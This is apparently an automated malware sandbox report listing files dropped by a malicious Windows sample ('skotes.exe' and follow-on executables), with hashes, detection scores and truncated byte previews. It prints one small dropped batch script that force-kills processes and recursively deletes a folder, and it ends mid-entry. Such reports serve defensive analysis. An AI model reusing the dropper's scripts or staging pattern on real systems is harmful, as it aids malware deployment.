SHA-512:	7E2EA3C92FA8FD3238D9A012008065BE8A9F31E6522A2CC08A8A6575C4E2264C414F195AD3D1C90CC52DF29AFD28382C50E7BE62760E32ECFD275C648AA0D779
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................G...........@...........................G...........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... .P)..@.......^..............@...oxelpjbe. ...........`..............@...rxotcwhb......G......v..............@....taggant.0....G.."...z..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1796096
Entropy (8bit):	7.946995360950613
Encrypted:	false
SSDEEP:	24576:1jXwGRcI8MhOZJYpkE9BkxsgmT//4dBTDpcDnxNmHRVn+yCc9ewiYrryzKvAsK0K:1YRYphbk8/QdBUxNmHRqX1zKvAL0
MD5:	014FE2951180116A9EB43716B0A2B669
SHA1:	24468A745C1B4CDD34CF350FD018181DF5A228DB
SHA-256:	5258BA33DED7480FB162FF25AF0DD7628D468B88D8160B79824301F50C7981AC
SHA-512:	C65E5E2FCDB415571377E7B60BCE42E430EBAEB8AE6857BD224D165FC8BA2220CCE722C81996434D096463D8EBB8B3F04B07E27AAC7BF0605619C86B25618C04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................i...........@..........................0i......g....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .`...$......\|..............@...kbusnrxz..... O......~..............@...yvqiegwt......h......B..............@....taggant.0....i.."...F..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970752
Entropy (8bit):	6.703434819253384
Encrypted:	false
SSDEEP:	24576:pqDEvCTbMWu7rQYlBQcBiT6rprG8ayQ0Z:pTvC/MTQYxsWR7ayQ0
MD5:	B6A552D8AA7F560B8EE99DBC8E61D709
SHA1:	5A9A202F35EBEB0492E9538CF9FC5453A2683427
SHA-256:	D52D67C7CC647125481C91EED9B14331AE6477F421F3993B7BEC64B8D088949F
SHA-512:	AE53078BACAE9FD04F7DBA0568E1FA4196661534553F301F20F84632CD86DBE14F8F4CBBE4E8F18A09846FE1493A6BA6E550470CF6648E7C98DF4DD4FB8399B4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....<`g..........".......... ......w.............@..........................0............@...@.......@.....................d...\|....@..(e.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(e...@...f..................@..@.reloc...u.......v...Z..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.470665465499225
Encrypted:	false
SSDEEP:	49152:uj3UEwFdPMbx6DdgWu7+cLHAokJrqfbehaEZdE9kXIW:uj33wFdPp2W4fLgok5lUoXN
MD5:	7D60D18DCC44E074D7392384743481FE
SHA1:	FE4D910529C03762FBA8F8DF5CF405F5E6F1C30F
SHA-256:	62E97F2C558313F494A3554FE24BA552DA64F709A98E4880A5A6B621DC89F789
SHA-512:	83B8BFBAC6D666B4D2E34C563165375EA3B55A77C346EF23ED033AD7A1E5C2C750A45833F33A01DC0F8D826A9B68296433D4492E65C83AD5005A734028E5301D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.....'~+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...zhbmyutw..+.......*..:..............@...tkykhzdh. ....+.......+.............@....taggant.@....+.."..."+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0mdflgbn.ms0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4d3cxpgk.3rn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5sxnglj1.w5g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gpatir4x.bpe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkdlahmb.gpn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ukhh0io0.fr2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2j42cjs.0k5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zoouvsgd.rzk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2998784
Entropy (8bit):	6.546290052625903
Encrypted:	false
SSDEEP:	49152:zG+JsK+1+7eu5B7x+DBPdkR/QkQJYVHgwLrNIX:zG+Jskeu5nknkNnRHNI
MD5:	657B1D5BADA53A94C7EB16A8F6780AEF
SHA1:	3F913ED5CA66F8D29D2EA004792BA71FD3B157BC
SHA-256:	091BC5705EA1F8127DB8F1D53C883BA04B79AFB04BECE4F90C73D1311C546ADE
SHA-512:	7D3C5072FD4F5A3D542028798DDDCE15D0CF8C4A682C897D9075A8A825739842320BEA82592FF9FBDC977519E5F933E8E78AC203B2C8D67AE5DE62AE414CB4A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p1...........@...........................1...........@.................................W...k.......D...................dU1..............................U1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...diabzkav..........................@...eighdbaz.....`1.......-.............@....taggant.0...p1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Reputation:	unknown
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Reputation:	unknown
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Reputation:	unknown
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Reputation:	unknown
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
